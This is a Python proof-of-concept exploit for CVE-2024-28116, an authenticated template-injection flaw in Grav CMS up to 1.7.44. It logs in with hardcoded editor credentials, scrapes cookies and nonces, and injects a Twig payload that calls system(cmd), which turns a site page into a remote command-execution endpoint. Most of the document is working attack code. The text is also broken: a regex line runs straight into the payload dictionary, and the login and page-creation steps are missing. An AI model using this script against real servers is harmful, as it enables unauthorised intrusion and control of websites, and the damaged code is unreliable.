# graver.py # # Simple python PoC script that exploits an authenticated SSTI # vulnerability on Grav CMS versions <=1.7.44 (CVE-2024-28116), # which permits to execute OS commands on the remote web server. # It requires authentication on Grav CMS console with editor permissions, # then valid credentials must be hardcoded in the script. # # # Copyright (C) 2024 Maurizio Siddu # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see import requests import re import argparse from urllib.parse import urlparse import string import random ############################################## # Enter here your Grav CMS editor credentials username = "youruser" password = "yourpassword" ############################################## # Create an argument parser parser = argparse.ArgumentParser(description="Command-line arguments parser") # Add the targeturl argument parser.add_argument("-t", "--target_url", required=True, help="Target url in the format 'http[s]://hostname'") parser.add_argument("-p", "--port", type=int, default=80, help="Port number (default is 80)") # Parse the command-line arguments args = parser.parse_args() # Set the target server and port url = args.target_url port = args.port # Validate the targeturl argument if not re.match(r'^(https?://\w+)', url): print("Error: Invalid target_url format. It should be in the format 'http://hostname' or 'https://hostname'") exit(1) # Build the web console URL and get the hostname url_admin = url+":"+str(port)+"/admin" parsed_url = urlparse(url) host = parsed_url.hostname # Send the initial GET request to obtain session cookie and login-nonce response = requests.get(url_admin) response.raise_for_status() # Raise an exception if the request fails # Extract the session cookie and login-nonce session_cookie = response.headers.get('Set-Cookie') login_nonce_match = re.search(r'Cmd-Output:\n
{{ system(cmd) }}
", "data[folder]": page_name, "data[route]": "", "data[name]": "default", "data[header][body_classes]": "", "data[ordering]": "1", "data[order]": "", "toggleable_data[header][process]": "on", "data[header][process][markdown]": "1", "data[header][process][twig]": "1", "data[header][order_by]": "", "data[header][order_manual]": "", "data[blueprint]": "", "data[lang]": "", "_post_entries_save": "edit", "__form-name__": "flex-pages", "__unique_form_id__": unique_form_id, "form-nonce": form_nonce, "toggleable_data[header][published]": "0", "toggleable_data[header][date]": "0", "toggleable_data[header][publish_date]": "0", "toggleable_data[header][unpublish_date]": "0", "toggleable_data[header][metadata]": "0", "toggleable_data[header][dateformat]": "0", "toggleable_data[header][menu]": "0", "toggleable_data[header][slug]": "0", "toggleable_data[header][redirect]": "0", "toggleable_data[header][twig_first]": "0", "toggleable_data[header][never_cache_twig]": "0", "toggleable_data[header][child_type]": "0", "toggleable_data[header][routable]": "0", "toggleable_data[header][cache_enable]": "0", "toggleable_data[header][visible]": "0", "toggleable_data[header][debugger]": "0", "toggleable_data[header][template]": "0", "toggleable_data[header][append_url_extension]": "0", "toggleable_data[header][redirect_default_route]": "0", "toggleable_data[header][routes][default]": "0", "toggleable_data[header][routes][canonical]": "0", "toggleable_data[header][routes][aliases]": "0", "toggleable_data[header][admin][children_display_order]": "0", "toggleable_data[header][login][visibility_requires_access]": "0", "toggleable_data[header][permissions][inherit]": "0", "toggleable_data[header][permissions][authors]": "0", } # Send the final POST request to inject the payload on the page previously created inj_response = requests.post(url_new_page, data=post_data, headers={"Cookie": new_session_cookie}) # Uncomment for Debug #inj_response.raise_for_status() # Check if the injection response is successful if (inj_response.status_code == 303 or inj_response.status_code == 200): # Uncomment for Debug #print(f"Injection response status: {injfinal_response.status_code}") # Check the updated page following the final redirection final_location = url_admin+"/pages/"+page_name final_redirect_response = requests.get(final_location, headers={"Cookie": new_session_cookie}) # Uncomment for Debug #final_redirect_response.raise_for_status() #print(f"Final redirect response status: {final_redirect_response.status_code}") #print("Final redirect response data:") #print(final_redirect_response.text) print("RCE payload injected, now visit the malicious page at: '"+url+":"+str(port)+"/"+page_name+"?do='") else: print("[E] Failed to inject the RCE payload, the injection response has not status 303 or 200...") else: print("[E] Could not find 'form-nonce' and '__unique_form_id__' in the response body...") else: print("[E] Failed to create a new page, the response has not status 303 or 200...") else: print("[E] Could not find 'admin-nonce' in the Login response body...") else: print("[E] Login failed, the response is not a 303 redirect...") else: print("[E] Could not extract session cookie and login-nonce from the pre-login response...")